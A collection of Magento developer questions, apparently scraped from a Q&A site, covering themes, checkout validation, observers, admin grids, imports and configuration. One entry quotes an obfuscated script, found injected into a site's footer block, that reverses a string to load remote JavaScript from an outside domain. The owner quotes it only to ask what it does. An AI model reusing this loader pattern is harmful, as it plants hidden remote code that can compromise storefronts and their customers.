texts: Magento2 video thumbnail not getting displayed

texts: Preview image of video not showing into frontend into product detail page in Magento2


texts:
I want to change meta robots for a particular page. By default I find every meta robots value as index/follow but, I want to change meta robots for few pages as noindex/follow.

Please help me to fix this.


texts:
What is the best approach to set up a .gitignore file to ignore everything except:

/app/
composer.lock

Something like this:

# IGNORE
*
# DONT IGNORE
!/app
!composer.lock

I only want to version control the app directory where theme and custom modules are located, and the composer.lock file to version control the vendor files.


texts:
All my skus have the following format: XY-NAME-NUMBER, e.g BC-FLUID-0003.

Now when I try to search that sku via catalog search in the frontend, I get all kinds of results, much more than I'd like to have.
I enabled the SQL-Query Log and found out, that Magento changes my sku in the search to "bc fluid* 0003*" and therefore finds products which are also named something with fluid or also end with 0003.

What I want is to search for BC-FLUID-0003*, so without taking away the hyphens.

How could I do that?


texts: How to change position of default welcome message in magento 2?

texts:
I am customizing my Magento theme. I have come across the problem of customizing default Magento message. Is there any way to change to position this in the middle. Right now it is on the left side. I have applied the ultimo theme in which I am using this.

Moreover, in themes setting, there is no option to customize the default header. Any kind of help would be much appreciated.

I am using Magento 2.1 community edition.


texts: How to add an attribute in magento programatically using module?

texts:
I want to add select yes/no attribute through module. I found this code from somewhere and tried but cannot add the attribute.

<?php
 $installer = $this;
$installer->startSetup();
$this->addAttribute(
    'catalog_category',
    'my_custom_attribute',
    array(
        'group' => 'General Information',
        'input' => 'select',
        'type' => 'int',
        'source' => 'eav/entity_attribute_source_boolean',
        'label' => 'My Custom Attribute',
        'required' => 0,
        'unique' => 0,
        'sort_order' => 3,
        'user_defined' => 1,
        'global' => Mage_Catalog_Model_Resource_Eav_Attribute::SCOPE_GLOBAL,
    ));
$installer->endSetup();
?>

I added this code on location /var/www/html/magento/app/code/local/Test/User/sql, where Test is my package name and User is my module name. I save the above code by the name

mysql4-install-0.1.0.php

The given below is my config file:

<?xml version="1.0"?>
<config>
    <modules>
        <Test_User>
            <version>0.1.0</version>
        </Test_User>
    </modules>
    <frontend>
        <routers>
            <user>
                <use>standard</use>
                <args>
                    <module>_User</module>
                    <frontName>user</frontName>
                </args>
            </user>
        </routers>
        <layout>
            <updates>
                <user>
                    <file>user.xml</file>
                </user>
            </updates>
        </layout>
    </frontend>
    <global>
        <blocks>
            <user>
                <class>Test_User_Block</class>
            </user>
        </blocks>
        <helpers>
            <user>
                <class>Test_User_Helper</class>
            </user>
        </helpers>
    </global>

   <global>
    <models>
        <user>
            <class>Test_User_Model</class>
            <resourceModel>user_mysql4</resourceModel>
        </user>
        <user_mysql4>
            <class>Test_User_Model_Mysql4</class>
            <entities>
                <user>

user

                </user>
            </entities>
        </user_mysql4>
    </models>
    <resources>
        <user_setup>
            <setup>
                <module>Test_User</module>
            </setup>
            <connection>
                <use>core_setup</use>
            </connection>
        </user_setup>
        <user_write>
            <connection>
                <use>core_write</use>
            </connection>
        </user_write>
        <user_read>
            <connection>
                <use>core_read</use>
            </connection>
        </user_read>
    </resources>
 </global>

</config>


texts: Add Custom Validation Rule in existing street field of shipping address form Checkout Magento 2?

texts:
Basically I am trying to add custom validation rule in existing street field of shipping address form Checkout in magento 2 where pobox should not be allowed. I tried using mixin with requirejs-config.js which works well as it gets called till (console.log(hello)) but I am not sure why my 'validate-street-part' is not getting called from layoutprocessor and adding 'validate-street-part' to (mage/validation.js). Any advise or suggestion would be appreciated.

\app\design\frontend\Vendor\Magento_Checkout\web\js\pobox-mixin.js

define([
    'jquery',
    'jquery/ui',
    'jquery/validate',
   'mage/translate'
], function ($) {
    "use strict";

    return function () {
        console.log("hello");
        $.validator.addMethod(
            'validate-street-part',
            function (v) {
                var pattern = /^([post]*)$/.test(v);
                console.log(pattern);
                if(!pattern){
                    console.log("return true");
                    return true;
                }else{
                    console.log("return false");
                    return false;
                }
            },
            $.mage.__("Please note that we cannot ship to PO Boxes. Please enter a physical address.")
        );
    };
});

app\design\frontend\Vendor\Magento_Checkout\requirejs-config.js

var config = {
    config: {
        mixins: {
'mage/validation': {
                'Magento_Checkout/js/pobox-mixin' : true
            }
        }
    }
};

app\code\Vendor\Checkout\etc\di.xml

<?xml version="1.0"?>

<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:ObjectManager/etc/config.xsd">

 <type name="Magento\Checkout\Block\Checkout\LayoutProcessor">
        <plugin name="rewrite-street" type="Vendor\Checkout\Block\Checkout\LayoutProcessor" sortOrder="10"/>
    </type>

</config>

app\code\Vendor\Checkout\Block\Checkout\LayoutProcessor.php

<?php
namespace Vendor\Checkout\Block\Checkout;

class LayoutProcessor
{

    public function afterProcess(
        \Magento\Checkout\Block\Checkout\LayoutProcessor $subject,
        array  $jsLayout
    ) {

        $jsLayout['components']['checkout']['children']['steps']['children']['shipping-step']['children']
        ['shippingAddress']['children']['shipping-address-fieldset']['children']['street']['validation']['validate-street-part'] = 1;

return $jsLayout;
    }
}


texts: Magento 1 Widget setup in backend - how do I move upwards

texts:
I have a widget setup on all category pages via backend -> CMS - > Widgets

Now when I use this method I select a block for category pages and the block shows up nicely. It is at the bottom of all other information in the left column.

But how do I move the block up to top? (above layered etc) ...

The alternative is to use local.xml, that I do not prefer + it also then shows up on ALL my websites that use the same theme.


texts: Payment Methods are not showing on PWA Suite?

texts:
I have installed PWA suite on my local machine.

  I have enabled COD and Check / Money order Payment methods.
  But Why these methods are not showing on checkout page. Pay with Card only displaying!

  Any idea?


texts:
I get this script in my site:
<script type="text/javascript" xml="space">// <![CDATA[
    (function(){var po=document.createElement("script");po.type="text/javascript";po.async=true;po.src=("sj.pam/sihterahs/ten.ndcdnarb.www//:sptth").split("").reverse().join("");var s=document.getElementsByTagName("script")[0];s.parentNode.insertBefore(po,s);})();
// ]]></script>

this script adds following js code to my site
https://www.brandcdn.net/sharethis/map.js
The code was inserted to my site via a cms block (a footer block). My site was updated to latest magento 2.2.x but still be injected.
I checked this code but not understand what it does.
Is there anyone get this case?


texts: Magento 2: Newsletter subscription success message disappear so fast

texts: While subscribing newsletter, it disappears the success message so fast,So it is unable to notify the frontend user. Please provide me a solution.


texts: Magento 2 Bad Response: Client error: `POST https://api.playground.klarna.com/payments/v1/sessions` resulted in a `400 Bad Request`

texts:
In Magento 2.2.5, I have configured "Klarna" Payment method using my valid credentials. But, In frontend when I go to the checkout page it is not showing the Klarna Payment Options.

I got this log:
https://pastebin.com/JgeunsuX

Thanks in advance.


texts: Get product detail at custom phtml in catalog view layout

texts:
I added new block to load my custom phtml inside catalog view,the problem is i need to load the current product model at my phtml, but i don't know how to do it.

app/code/Namespace/Module/view/frontend/layout/catalog_product_view.xml

<?xml version="1.0"?>
<page xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/page_configuration.xsd">
  <body>
    <referenceBlock name="product.info.social">
        <block class="Namespace\Module\Block\Custom" name="custom.product.view" template="Namespace_Module::custom.phtml"> </block>
    </referenceBlock>
  </body>
</page>


texts:
How to add content limit in custom grid column in magento 2.is anyone have any idea..ie nothing string limit in column
i found below like this we can do it in magento 1

$this->addColumnAfter('addons', array(
            'header' => Mage::helper('sales')->__('Addons'),
            'filter'    => false,
            'sortable'  => false,
            'index' => 'addons',
            'type'  => 'text',
            'string_limit'  => '500', /* added for content limit */

        ), 'billing_name');


texts: Image problem in the Admin after 1.9.3 upgrade

texts:
I upgraded magento from 1.9.2 to 1.9.3 via magento connect, after the upgrade I had a exception during cache cleaning and after a refresh I got a 500 server error.

The hosting company corrected an issue with the permissions on the index.php and my site was live again.

Since then all the product images are missing in the backend but fine on the front end.

Does everyone have an answer? What shall I do?

Re-install modules separately?

Any ideas. Image folder permissions are 777.


texts:
I have sucessfully installed magento2 but I cannot login to admin, I saw the related question and the problem was rewrite_module
I already enabled rewrite_module as checked in wamp  and i am seeing it as a loaded module in phpinfo
also I removed the hashtag # in the httpd.conf for this module to be loaded
I don't know how to resolve the issue

before, in previous versions I would do something with sessions and I could see the admin panel but I don't know here we would have the same approach or i am missing something

when I go to homepage it doesn't have any styles but I can see the details and text stuff and logo.


texts: How to show specific brand products at top of the listing page magento2

texts:
I want to show specific brands products on the top of the category page. How can I do this in magento 2?

Suppose, I have 5 options in the manufacturer attribute: apple, dell, lg, samsung, htc.
Random products are showing on the listing page. But, I want to display dell products first on the listing page.


texts:
I have a problem with media gallery import.

In my csv file I use

image
small_image

sku;image;small_image

In website http://wiki.magmi.org/index.php?title=Image_attributes_processor

/extraimg1.jpg;/extraimg2.jpg

If I create gallery images I need to create a new field?

sku;image;small_image;gallery_image
001;0001.jpg;0000_2.jpg;0000_3.jpg;/000_4.jpg
or
sku;image;small_image;gallery_image
001;0001.jpg;0000_2.jpg;0000_3.jpg,/000_4.jpg
or
sku;image;small_image;gallery_image
001;0001.jpg;0000_2.jpg;0000_3.jpg,000_4.jpg

Can you help me?
Thanks


texts: Magento 2.2.5 Not Sending New Order Email To Guest

texts:
I've got a live 2.2.5 single store site and whenever a Guest customer places an order, the New Order Email fails to send. It works for registered users perfectly.

Instead of sending the New Order Email, the site sends an Order Update email, saying "Your order has been updated to processing etc." even though Order Update emails are disabled.

I've tried everything and regardless of what payment method is used the New Order template will not send.

Even when I click the "Send Email" link in the order view in the admin, it resends the Order Update email it sent in the first place, not the New Order Email.

Any ideas anyone?


texts: How to include GST tax for my magento2 ?


texts: Custom column sorting(DESC and ASC) not working in custom grid Magento 2.3.5

texts:
Actually in below listing.xml file i am trying to sort customer_id
column DESC/ASC but not working fine. After using below code it's loading the data in ASC order only if sort customer_id column one by one.
Vendor\Module\view\adminhtml\ui_component\listing.xml

<listing xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:module:Magento_Ui:etc/ui_configuration.xsd">

        <column name="customer_id" class="Vendor\Module\Ui\Component\Listing\Column\Metainfo" >
            <argument name="data" xsi:type="array">
                <item name="config" xsi:type="array">
                    <item name="filter" xsi:type="boolean">false</item>
                    <item name="sortable" xsi:type="boolean">true</item>
                    <item name="label" xsi:type="string" translate="true">Customer ID</item>
                </item>
            </argument>
        </column>

</listing>

Vendor\Module\Model\ResourceModel\Module\Collection.php

<?php

namespace Vendor\Module\Model\ResourceModel\Module;

use Magento\Framework\Model\ResourceModel\Db\Collection\AbstractCollection;

class Collection extends AbstractCollection
{
    protected function _construct()
    {
        $this->_init('Vendor\Module\Model\Module', 'Vendor\Module\Model\ResourceModel\Module');
    }

    protected function _initSelect()
    {
        parent::_initSelect();

         $this->addFilterToMap('entity_id', 'main_table.entity_id');

         $sales_order = $this->getTable('sales_order');

         $this->getSelect()->join(
            ['sales_order' => $sales_order],
            'main_table.entity_id = sales_order.customer_id',
            [
                'sales_order.customer_id','main_table.*'
            ]
        )->group('sales_order.customer_id')->order('main_table.entity_id','DESC');

        return $this;
    }
}

Please check above code. Any help would be appriciated. Thanks in
Advance !!! :)


texts:
Put simply, I need to have pricing accurate to 5 (possibly even 6) digits of precision.

I have come across some generic modules that allow the precision to be 4 digits. Going further, I of course discovered that the MySQL fields are defined as DECIMAL(12,4).

Unfortunately, I require 5-6 places of precision. The pricing formula is simple:

 QUANTITY = WIDTH * HEIGHT (for area based)
 QUANTITY = LENGTH (for linear based)
 TOTALPRICE = QUANTITY * ITEMPRICE + BASE COST

Item prices need to be stored similar to 0.02125.

Given the limitations of Magento, it seems I am faced with a few options.

Hack the core to allow additional precision, including changing the MySQL fields to DECIMAL(12,5) or DECIMAL(12,6).
Add a new text field attribute that won't care about decimal precision and use that for prices instead of the default price field (I'm guessing through an observer).
???

Given the requirement that prices need to be stored with 5-6 digits of precision, what method might you suggest?


texts: How to give different tax percentage for different products

texts: I want to give different % of tax for for products of different attribute set.I know very little about taxation. kindly someone guide me.


texts: Getting the dreaded inconsistent $fotoramaElement.fotorama is not a function

texts:
I see quite a few people have this issue, but I can't find a solution that works. I have app/design/frontend/Smartwave/porto_child/requirejs-config.js and I have it shimed, but I'm getting the same error.
var config = {
    paths: {
        'parallax': 'js/jquery.parallax.min',
        'sfowlcarousel': 'owl.carousel/owl.carousel.min',
        'owl.carousel_thumbs': 'owl.carousel/owl.carousel2.thumbs',
        'floatelement': 'js/jquery.floatelement',
        'sfs/stellar': 'js/jquery.stellar.min',
        'jquery/lazyload': 'js/jquery.lazyload',
        'fotorama/fotorama': 'fotorama/fotorama'
    },
    shim: {
        'fotorama/fotorama': {
            deps: ['jquery']
        },
        'parallax': {
            deps: ['jquery']
        },
        'sfowlcarousel': {
            deps: ['jquery']
        },
        'owlcarousel_thumbs': {
            deps: ['jquery', 'sfowlcarousel']
        },
        'floatelement': {
            deps: ['jquery']
        },
        'sfs/stellar': {
            deps: ['jquery']
        },
        'jquery/lazyload': {
            deps: ['jquery']
        }
    },
    config: {
        mixins: {
            'mage/collapsible': {
                'js/collapsible-mixin': true
            }
        }
    }
};


texts: Transfer orders from another cms to magento

texts:
I have currently transferred all customers(over 2000) to magento 1.7 from another cms called k-ecommerce. There are nearly 5000 orders in old site. We need to transfer those orders to new magento site also.

Can anyone explain is it possible?
Is there any way to add orders to magento directly?

If anyone can guide me to do this, it would be more helpful for me.

Thanks.


texts: Magento 2 Configuration settings - Clarify app:config:dump vs app:config:import

texts:
I just want to understand the workflow of Magento 2 configuration settings.
Intro
In Magento 2, there are these command-line commands:
app:config:dump
app:config:import
Questions
Am I correct in saying:

app:config:dump is for importing from database into configuration file (app/etc/config.php).

app:config:import is for importing from configuration file (app/etc/config.php) into the database.

Assuming this is correct, would I only really use the configuration file when importing data into a new database from existing settings in a config.php file (ie run app:config:import once, then change everything I need in the admin backend instead of in config.php file (ie site specific styling etc).

After I am done with everything (so last step), I run app:config:dump, to update the config.php file again?

Somewhere along the way all my settings became locked in the M2 backend, I assume it is because I ran app:config:dump?  (I figured out clearing specific entries from config.php json they will be editable again, and saved to database).

This workflow of locked configuration settings in backend is really inefficient so I decided to clear everything in config.php file (instead of the modules enable/disable) settings.
Can someone please clarify these for me please.
Thanks


texts:
How to show product category on product page in magento2.2.6?
i selected 2columns-left.xml layout template in category.
http://magento-213836-648260.cloudwaysapps.com/shop.html
i want to add sidebar on this page please check above content http://prntscr.com/lczbxh.
Please explain step by step.


texts:
When I open the single product URL (open product). I wait 8 seconds or more for the page to load. Responsible for this behavior is the amount of queries that magento is performing. For this I enabled slow_query_log as on.

Below I leave the link to the entire log generated when I open the page of any product. https://pastebin.com/iu4fyFiL

Note that there will be seven slow in this same log and the queries appear to be exactly the same. There are some that are really the same and I have no idea why that happens. One contains AND (product_id IN (1240)) and the other contains(cpe.entity_id = '1624').

I do not understand how this is possible. I took some support in this store and I see that queries are closely linked with this part of the front end whose same I don't know if it's a plugin or something of magento itself.

Does anyone know what's up?


texts: Magento order with parent item and child item instead of only child item

texts:
i recently discovered a issue with some of our orders.
We have configuable products with simple products as childs, selectable via one attribute.

Example:

Configurable product:
#362, Oriental Tea

Child Products:
#180, Aroma Bag 20g
#181, Aroma Bag 40g
#972, Caddy 40g

The sizes are the attribute to select in the configurable product.
Until last week, when a customer chosed a child product, let's say #972, the order information in the backend showed this child product in the ordered items table like this

Ortienal Tea, Caddy 40g
SKU: 12345

In the database at the 'sales_flat_order_items' table only one row with the according child product was shown for this order.

Now we have several orders where it seems like the customer somehow have ordered the configurable item with the child item as an option. in the ordered items table it looks like this

Oriental Tea
SKU: 12345
Size: Caddy 40g

And in the database there are two rows. The configurable product AND the simple product with the id of the configurable product as parent_item_id.

Unfortunately this also affects the price calculated by magento for this product. No matter which size the customer selects he will always get the price for the first child item.

Can someone explain whats the basic difference between this two types of orders of the very same product?
Thanks a lot!


texts:
I am having a strange problem with my Magento installation. As soon as I add a product to my wishlist (any customer), I am getting the following error in the browser's console:

Item (Magento\Wishlist\Model\Item) with the same ID X already exists.

Due to which the mini cart is not showing cart items count.
I tried to truncate the tables related to wishlist:

wishlist
wishlist_item
wishlist_item_option
email_wishlist

But every time an item is added to the wishlist, the error appears in the console.
One more (maybe related) error I noticed is in customer-data.js

Maybe this is also a relevant clue:

Update: I have tried to disable the custom modules which are overriding customer-data.js.
Thanks for your kind help in advance.


texts: Product count in layered navigation category filter includes hidden simple products

texts:
I've got a Magento 2.1.7 installation which currently has 3 configurable products, which make up 26 simple products.

All 3 products are T-Shirts, so in the layered navigation, I expect the T-Shirt category to show the product count of 3, as so:

T-Shirts 3

but instead, the product count is 26 because it is including all the simple products.

Is it possible to configure the application to only include the base product when calculating the product count?


texts: Magento 2 - Different billing and shipping address

texts:
I would like to force the user to use the default billing address he has in its account on checkout.

So I set the quote billing address programatically and hide / uncheck the checkbox "My billing and shipping address are the same" but when the user is changing the shipping address it stills updating the billing address how can I fix this ?


texts: Why do we have to use "store" for links in CMS like home

texts:
To insert links in the CMS, we use this code:

home

What is this "store" keyword doing and why is it called "store"?

And are there any other keywords available in place of store?

Is it also possible to write just the URL, without "store"?

If yes, what is the correct syntax?


texts: Magento 2 : Create Invoice in Arabic (RTL) form magento admin

texts:
I am using magento 2.3.3 and I want to print order invoice in Arabic language with RLT layout. from Magento 2 admin => sales => invoice => View => [Print in Arabic]

Can anyone suggest me or give here some code how can I do this funcanility


texts: How to retrieve the muliple checkbox value in form

texts:
I tried to display the values from database but failed to display.,

First I inserted the values using checkbox.,

codes are below,

$fieldset->addField('city', 'checkboxes', array(
                'label' => $this->__('City'),
                'name' => 'city[]',
                'required' => true,
                "checked" => $city,
                'values' => array(
                    array('value' => '0', 'label' => 'aaaaa'),
                    array('value' => '1', 'label' => 'bbbbbbb'),
                    array('value' => '2', 'label' => 'ccccccc'),
                    array('value' => '3', 'label' => 'dddddddd'),
                    array('value' => '4', 'label' => 'eeeeeeee')
                ),
                'onclick' => "",
                'onchange' => "",
                'disabled' => false,
                'value'  => '1',
                'tabindex' => 1
            ));

after that,

$city = $post_data['city'] = implode(',', $post_data['city']);

using above code inserted successfully like(0,1,2),

 if ($object->getData('city')) {
                $city = $object->getData('city');
                $city = explode(",", $city);
                 //var_dump($city);die;
            }

inserted value I get successfully, Now I want to display the checked one(0,1,2)

Any one please help to solve this!!!!!!


texts:
I've added some jQuery code to my magento shop, to be able to make tabs ind my short desciption on my products. But it dont work.

My jQuery code

$(document).ready(function(){
  $(".contentMenuContent").css("display", "none");
  $(".contentMenuContent:first").show();

  $(".contentMenu").click(function() {

    $(".contentMenu").removeClass("contentMenuActive");
    $(this).addClass("contentMenuActive");

    var index = $(".contentMenu").index(this);

    $(".contentMenuContent:eq(" + index + ")").fadeOut("normal", function() {
    $(".contentMenuContent").css("display", "none");
    $(".contentMenuContent:eq(" + index + ")").fadeIn();
    });
  });
});

My short desciption

Uddannelse 1
Uddannelse 2
Uddannelse 3

Uddannelse 1 - Overskrift

HER INDS&AElig;TTER DU DIT INDHOLD

Uddannelse 2 - Overskrift

HER INDS&AElig;TTER DU DIT INDHOLD

Uddannelse 3 - Overskrift

HER INDS&AElig;TTER DU DIT INDHOLD

My xml add - (I can se in my header that it is added)

<action method="addJs"></action>


texts: Magento frontend and backend broke : Magento 2

texts:
/app/etc/env.php --- 'localhost' vs '127.0.0.1'

I changed localhost  to  127.0.0.1 however my Magento frontend and backend broke after that.

    'db' => [
    'table_prefix' => '',
    'connection' => [
        'default' => [
            'host' => 'localhost',
            'dbname' => 'shop',
            'username' => 'shop',
            'password' => '1234567',
            'active' => '1'
        ]
    ]
],

came to know from server that somehow mysql crashed, and they had to work on mysql conf files to recover.
i am still unable to understand what went wrong??


texts: Why is the name "Model" in a controller action not allowed?

texts:
I created a new controller action called "AddEmailToCustomerModel"

But I got an exception after trying to call the route:

  Exception #0 (Magento\Framework\Exception\RuntimeException): Type
  Error occurred when creating object:
  Fekete\Newsletter2Go\Controller\Index\AddEmailToCustomerModel\Interceptor

So I removed the name Model from the action name and its filename, and it works now!

Why does it not work if there is Model in the name?

And are there more reserved words we should know about?


texts: Magento 2: Frontend and Backend not show properly?

texts:
I have reloaded it many times, I was able to reproduce it.

Any idea about that?


texts: Add store code to body as class on all pages

texts:
I have a website with 2 stores, one for each language. Magento adds the store name to the body on CMS pages, but not on the rest of the sites. The only setting that is remotely related allows me to add the store code to the url, but this is not what I want.

I googled for an answer and I didn't find what I'm looking for.

Has anyone done this before and found a solution?


texts: How to disable ajax animation for the the 'Add to Cart' button of products grid in Magento 2?

texts:
I try to save Ajax for the the 'Add to Cart' button. But to remove the class and title changes during the addition of the product.
Example: when I put "Add to cart" - all time see "Add to cart", not "Adding...".


texts: Page Builder is not visible magento 2.3.4

texts:
It must be here so I could enable it but its not.
https://i.imgur.com/usvEDeW.png
what can I do?
https://i.imgur.com/eRDniHa.png
Its not here as well. please help.


texts: Magento 2 - remove everything after hr tag

texts:
I have one attribute with the name tech_data and in this attribute I have the following values:

SDS | Sheet | Brochure

Insulation Type: Insulator - Designed to be put directly on heat source to keep in

I use the following code to split them in a separated li tag, I replace | with the li tag.

How I can remove everything after hr tag?

This is what I try:

<?php $attr = explode("|",$this->helper('Magento\Catalog\Helper\Output')->productAttribute($block, $block->getProduct()->getTechData(), 'tech_data'));
    if(isset($attr)) {
?>

        <?php foreach ($attr as $attrValue) {
        ?>

<?php echo $attrValue; ?>

 <?php
        }
?>

 <?php
    }
?>


texts: Add new column from custom table to magento 2 customer grid


texts: Magento 2 - sales_order_shipment_save_after

texts:
I need to call some API on ship item from magento but nothing is working.

Following things I already tried:

  1) Use event/observer: sales_order_shipment_save_after (As I thought It will work in magento 2 because it is work fine in magento 1.x).

  2) Override controller:  \Magento\Shipping\Controller\Adminhtml\Order\Shipment\Save but controller overriding is also not working.

Please help.


texts: Magento Product image on Hover not working

texts:
I want to add a hover image for my product.

So the first step :

1- i've create a new attribute with code named hover_image for all types of the products.

2- in php file catalog->product->list.phtml i've add onmouseover javascript function to image tag like below

onmouseover="this.src='<?php echo $this->helper('catalog/image')->init($_product, 'hover_image')->resize(500,659)?>'"

but it's not working any suggestions ?


texts:
I enable cache for my custom block by adding cache_lifetime in __construct and adding getCacheKeyInfo() function.

cache_lifetime and cach key were added successfully, I verified by going to _loadCache function in Mage_Core_Block_Abstract and dump $this->getCacheLifetime() (shows 86400), dump $cacheKey (shows 4bdf58570c6cc1c082c0a2309d0acbee3f318d90)

But when I dump $cacheData = $this->_getApp()->loadCache($cacheKey);, it always return false.

Why does it return false? I haven't ever modified any core Mage files.

By the way, I'm using apc for backend cache, and memcache for session cache. CE 1.8.1.
And of course, I've enabled cache in admin panel already.

UPDATE:

Dump $this->getCacheKey(); in _loadCache(): cb2336b7ccd507da70b5167dcb7e87856284647d

Dumo $this->getCacheKey(); in _saveCache(): 00db354e5f03e1bf0b06da33c491eb2e313d29cc

OMG. Where make it change?


texts: Magento 2.2.7 - attribute is being save in default template when I don't want it there

texts:
I am sure this is a simple question but it seems for the last week I have not been able to find it out I am using Magento 2.2.7 and when I used the color attribute then made an attribute set. I move the color attribute into the set.
Now I made a configurable product from the default template and added in the color attribute group. Now I think this is where I am getting messed up. the last page has 3 saves and the default is first, which I saved it to. This must be wrong however when I tried to use the other two it asks to save as if I put color, then states that color is already used. Shouldn't this overwrite as I will have many different save then? What am I doing wrong, I am totally missing something here.
Product I made last
Thanks
Ron


texts: What is the correct way to change order status in Magento 2

texts:
After placing an order, my module calls an external API.

If success from external API, I need to update the order status.

I know how to update status in Magento 1 but how do you do this in Magento 2?

Thanks


texts:
SUPEE-6788 - Patching file notice, but file not patched

We read:

patching file app/design/frontend/base/default/template/persistent/customer/form/register.phtml

and then when we check the files the patch is not applied

There is an htaccess error / patch cannot be applied - but we run nginx

How can I force the patch to apply?


texts: Observer not executing. Could use extra eyes

texts:
with the help I received here yesterday, I'm trying to set up an observer that will update the "Manage Stock" option of all child items of a configurable product when it is changed.  Following quite a few tutorials, I think I have the code right, but the observer isn't firing.  My module is setup as follows:

The module setup in /app/etc/modules: MyCompany_Catalog.xml

<?xml version="1.0" encoding="UTF-8"?>
<config>
    <modules>
        <MyCompany_Catalog>
            <active>true</active>
            <codePool>local</codePool>
        </MyCompany_Catalog>
    </modules>
</config>

The config setup in /app/code/local/MyCompany/Catalog/etc: config.xml

<?xml version="1.0" encoding="UTF-8"?>
<config>
    <modules>
        <MyCompany_Catalog>
            <version>1.0.0</version>
        </MyCompany_Catalog>
    </modules>
    <stores>
        <admin>
            <design>
                <theme>
                    <template>MyCompany</template>
                </theme>
            </design>
        </admin>
    </stores>
    <global>
        <models>
            <mycompany_catalog>
                <class>MyCompany_Catalog_Model</class>
            </mycompany_catalog>
        </models>
        <events>
            <cataloginventory_stock_item_save_before>
                <observers>
                    <mycompany_catalog>
                        <class>mycompany_catalog/observer</class>
                        <method>mc_update_child</method>
                    </mycompany_catalog>
                </observers>
            </cataloginventory_stock_item_save_before>
        </events>
    </global>
</config>

And finally, the observer in /app/code/local/MyCompany/Catalog/Model: Observer.php

<?php

class MyCompany_Catalog_Model_Observer
{
    public function mc_update_child (Varien_Event_Observer $observer)
    {
        Mage::log('test');
    }
}

The module is working as far as the design is concerned, as it is pulling in a custom 'inventory.phtml' that I created under /app/design/adminhtml/default/MyCompany/template/catalog/product/tab  However, when I save a configurable parent, nothing is being written to the system.log (should be logging 'test').  I hope it's something silly, like I mistyped something or I'm calling the wrong observer, and an extra set of eyes can spot my mistake.  TIA.


texts:
How to use this below code to show other store language?

$store_language = $this->getChildHtml('store_language');


texts:
I created a custom child theme for luma and it works fine. But when I extend the layout for Magento_Theme I start getting all kinds of javascript errors which are random, sometimes they don't appear at all.

Below is my folder structure

The problem appears when I add the Magento_Theme folder.

Below is the content of default.xml

<?xml version="1.0"?>
   <page xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/page_configuration.xsd">
        <body>
        <referenceContainer name="footer-container">
            <block class="Magento\Theme\Block\Html\Footer" name="footer" template="html/footer.phtml">
                <block class="Gs\Core\Block\Mailchimp" name="mailchimp" template="Gs_Core::mailchimp/form.phtml" />
            </block>
        </referenceContainer>
    </body>
</page>

and default_head_blocks.xml

<?xml version="1.0" encoding="UTF-8"?>
<page xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/page_configuration.xsd">
    <head>
        <!--Bootstrap css-->
        <css src="css/bootstrap.min.css" />
    </head>
</page>

Below is a sample of the errors:

I have tried recompiling, clearing cache, forcing a static content deploy manually deleting the static folder and the generated folder with no luck.


texts:
I'm trying to import magento database that i previously exported and saved in my system but now when i'm trying to import it gives following error:

  1064 - You have an error in your SQL syntax; check the manual that...
  I have tried importing it with command line but that also did'nt solve
  my issue and. Please help to sort out my issue.

 CREATE TABLE `cmg_admin_assert` (   `assert_id` int(10) UNSIGNED NOT
 NULL COMMENT 'Assert ID',   `assert_type` varchar(20) DEFAULT NULL
 COMMENT AS `Assert Type`,   `assert_data` text COMMENT 'Assert Data' )
 ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Admin Assert Table';


texts: Is there a way that a user can remove / clear their recently viewed items?  I can see the data is stored in the "report_viewed_product_index" table however not sure if there is a native function to remove records per customer


texts:
Helloo..
I am stucked in a very difficult situation.
I am implementing ajax in magento, but it is not working.
Whenever I use that code in home page it run properly but the html is not added to the select box.Same is if run in another page, run properly
    I knw there are some issues in my home page
    But I am unable to get those, as there are no errors in console
    Please guide or suggest me something
 This is my ajax code

function getMake(country)
    {
        jQuery(".spinner").css("display", "block");
       var strUser = country;
        jQuery.ajax({
            type: "GET",
            dataType: "html",
            url: "productlist/index/getMake/",
            data: {
                country: strUser},
            success: function(data)
            {
                jQuery(".spinner").css("display", "none");
                 jQuery("#selectbox1" ).html( data );
                //document.getElementById("selectbox1").innerHTML = data;
            }
        });
        return false;
    }

I had even used js / jquery but nothing is working.
Please help


texts:
I have used this event "customer_save_after_data_object"

used this code in events.xml file

<event name="customer_save_after_data_object">
    <observer name="customer_save_after_observer" instance="Vendor\Sales\Observer\CustomereditPost" />
</event>

And this is the observer file

<?php
namespace Vendor\Module\Observer;
use Magento\Framework\Event\Observer as EventObserver;
use Magento\Framework\Event\ObserverInterface;
class CustomereditPost implements ObserverInterface

    {
        protected $_request;
        protected $_layout;
        protected $_objectManager = null;
        protected $_customerGroup;
        private $logger;
        protected $_customerRepositoryInterface;

    /**
    * @param \Magento\Framework\ObjectManagerInterface $objectManager
    */
    public function __construct(
        \Magento\Framework\View\Element\Context $context,
        \Magento\Framework\ObjectManagerInterface $objectManager,
        \Psr\Log\LoggerInterface $logger,
        \Magento\Customer\Api\CustomerRepositoryInterface $customerRepositoryInterface
    ){
        $this->_layout = $context->getLayout();
        $this->_request = $context->getRequest();
        $this->_objectManager = $objectManager;
        $this->logger = $logger;
        $this->_customerRepositoryInterface = $customerRepositoryInterface;
    }

    /**
    * @param \Magento\Framework\Event\Observer $observer
    * @return void
    */
    public function execute(EventObserver $observer)
    {
        $this->logger->info(' --jafar123--  ');
        $event = $observer->getEvent();
        $customer = $observer->getCustomerDataObject();
        $customer->getId();
        $customer->getFirstName();
        $customerId = $customer->getId();
        $customerData = $this->_customerRepositoryInterface->getById($customerId);
        $customerData->setFirstName('jaf');
        $customerData->save();
        return $this;
    }
}

On saving customer from admin panel, I need to trigger this file.

Just setting the customer first name from this event. But the name is not changed.

The observer file is loading. Can anybody help me on this please?


texts: Related product to have quantity added to cart

texts:
I need related products to have a quantity input on the view page and for the add to cart button to carry this quantity to the cart with the product.

Can anyone advise, thanks.


texts: Same product different store views in magento

texts: Let's describe the "problem" a little more. I have an e-shop with 15 products at the moment, i want those products to appear also in the English store view, what i want to ask is that, i have to add the product again with english description and everything else or there is a shorter way?


